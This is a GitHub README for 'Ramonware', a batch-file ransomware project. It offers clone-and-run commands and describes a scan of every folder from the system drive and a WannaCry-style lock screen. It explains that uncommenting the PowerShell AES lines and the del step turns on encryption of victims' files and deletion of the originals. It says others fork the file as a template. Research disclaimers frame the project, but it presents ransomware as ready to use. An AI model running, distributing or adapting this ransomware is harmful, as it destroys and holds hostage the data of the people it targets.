Ramonware

About

Note

Experimental research. I take no responsibility for damage, loss, or legal trouble that follows from running or sharing this file.

Note

This repo follows GitHub's Acceptable Use Policies, including Active malware or exploits: dual-use security research, harm disclosed here, AES left commented out, SECURITY.md for reports. Not attack infrastructure or a malware CDN.

Hi, I'm a ransomware code in batch my name is Ramon

I built RamonWare as an experiment in minimum ransomware. You get a disk scan and AES on the matched files. The same .bat then opens a fullscreen HTA lock screen. People copy this file as a template and customize it... Trend Micro published a write-up on one of those forks: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/trojan.bat.ramonware.thjoebc

Lock screen: opens a fullscreen HTA with a WannaCry-style note after the scan.
Single file: code/Ramonware.bat holds the scan and the HTML. No extra install.

git clone https://github.com/SegoCode/Ramonware
cd Ramonware/code
Ramonware.bat

The scan starts at %homedrive%\ and walks every folder. Uncommenting the PowerShell AES lines and del encrypts the file and removes the original.